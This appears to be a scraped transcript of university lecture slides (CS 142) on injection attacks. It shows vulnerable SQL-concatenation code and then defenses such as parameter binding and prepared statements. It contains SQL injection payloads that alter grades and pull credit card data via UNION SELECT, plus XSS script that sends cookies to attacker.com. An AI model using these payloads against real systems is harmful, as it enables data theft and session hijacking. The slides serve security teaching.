Download presentation
Presentation is loading. Please wait.
Published byAnnis Dixon Modified over 9 years ago
1
CS 142 Lecture Notes: Injection AttacksSlide 1 xkcd
2
CS 142 Lecture Notes: Injection AttacksSlide 2 Unsafe Server Code advisorName = params[:form][:advisor] students = Student.find_by_sql( "SELECT students.* " + "FROM students, advisors " + "WHERE student.advisor_id = advisor.id " + "AND advisor.name = '" + advisorName + "'"); SELECT students.* FROM students, advisors WHERE student.advisor_id = advisor.id AND advisor.name = 'Jones' Typical query: Value from form field
3
CS 142 Lecture Notes: Injection AttacksSlide 3 Injection Attack Jones'; UPDATE grades SET g.grade = 4.0 FROM grades g, students s WHERE g.student_id = s.id AND s.name = 'Smith SELECT students.* FROM students, advisors WHERE student.advisor_id = advisor.id AND advisor.name = 'Jones'; UPDATE grades SET g.grade = 4.0 FROM grades g, students s WHERE g.student_id = s.id AND s.name = 'Smith' Resulting query: Enter the following in the "Advisor name" field:
4
CS 142 Lecture Notes: Injection AttacksSlide 4 Stealing Private Information
5
CS 142 Lecture Notes: Injection AttacksSlide 5 Stealing Private Info, cont'd month = params[:form][:month] orders = Orders.find_by_sql( "SELECT pizza, toppings, quantity, date " + "FROM orders " + "WHERE user_id=" + user_id + "AND order_month=" + month); October AND 1=0 UNION SELECT name as pizza, card_num as toppings, exp_mon as quantity, exp_year as date FROM credit_cards ' What if "month" is: Server query code:
6
CS 142 Lecture Notes: Injection AttacksSlide 6 Resulting Query SELECT pizza, toppings, quantity, date FROM orders WHERE user_id=94412 AND order_month=October AND 1=0 UNION SELECT name as pizza, card_num as toppings, exp_mon as quantity, exp_year as date FROM credit_cards
7
CS 142 Lecture Notes: Injection AttacksSlide 7 Resulting Query SELECT pizza, toppings, quantity, date FROM orders WHERE user_id=94412 AND order_month=October AND 1=0 UNION SELECT name as pizza, card_num as toppings, exp_mon as quantity, exp_year as date FROM credit_cards
8
CS 142 Lecture Notes: Injection AttacksSlide 8 8 "The defendants would use so-called SQL injections, which send a command or piece of code to a computer allowing unauthorized users to manipulate contents of the computer system. Once they gained access to credit card numbers, some of the men would sell them to resellers."
9
CS 142 Lecture Notes: Injection AttacksSlide 9 Let Rails Handle SQL Escaping Student.find_by_sql("SELECT students.* " + "FROM students, advisors " + "WHERE student.advisor_id = advisor.id " + "AND advisor.name = ?", params[:form][:advisor])
10
CS 142 Lecture Notes: Injection AttacksSlide 10 Prepared Statements $statement = odbc_prepare($connection, "SELECT * FROM students ". "WHERE advisor = ? AND gpa >= ?;"); odbc_execute($statement, array($advisor, $gpa)); statement = connection.prepareStatement( "SELECT * FROM students " + "WHERE advisor = ? AND gpa >= ?;"); statement.setString(1, advisor); statement.setString(2, gpa); ResultSet rs = statement.executeQuery(); Java: PHP:
11
CS 142 Lecture Notes: Injection AttacksSlide 11 Stored XSS Attack...... I agree completely with Alice... img = document.getElementById("cookieMonster"); img.src = "http://attacker.com?cookie=" + encodeURIComponent(document.cookie); No escaping! Attacking blog entry: Buggy server template:
12
CS 142 Lecture Notes: Injection AttacksSlide 12 Reflected XSS Attack... Search Results Results for... No escaping! Buggy server template: Justin Bieber img = document.getElementById("cookieMonster"); img.src = "http://attacker.com?cookie=" + encodeURIComponent(document.cookie); Attacking search entry:
13
CS 142 Lecture Notes: CookiesSlide 13
Similar presentations
© 2025 SlidePlayer.com. Inc.
All rights reserved.